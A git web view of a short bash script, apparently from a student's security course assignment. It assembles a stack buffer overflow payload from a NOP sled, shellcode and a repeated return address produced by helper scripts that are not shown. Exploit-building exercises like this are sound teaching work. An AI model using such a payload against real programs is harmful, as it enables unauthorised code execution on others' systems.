aboutsummaryrefslogtreecommitdiff
path: root/CamilStaps-s4498062-Assignment-4/ex1/exploit/genexploit.sh
blob: 5d46c8f3047fa6918f749e724ddeeaffe6ccdbab (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash
./genretaddr.sh
./gennop.sh
./genshellcode.sh
for i in {1..434}
do
    cat nop >> exploittmp
done
cat shellcode >> exploittmp
for i in {1..12}
do
    cat retaddr >> exploittmp;
done
tr -d "\n" < exploittmp > exploit
echo >> exploit
rm shellcode retaddr nop exploittmp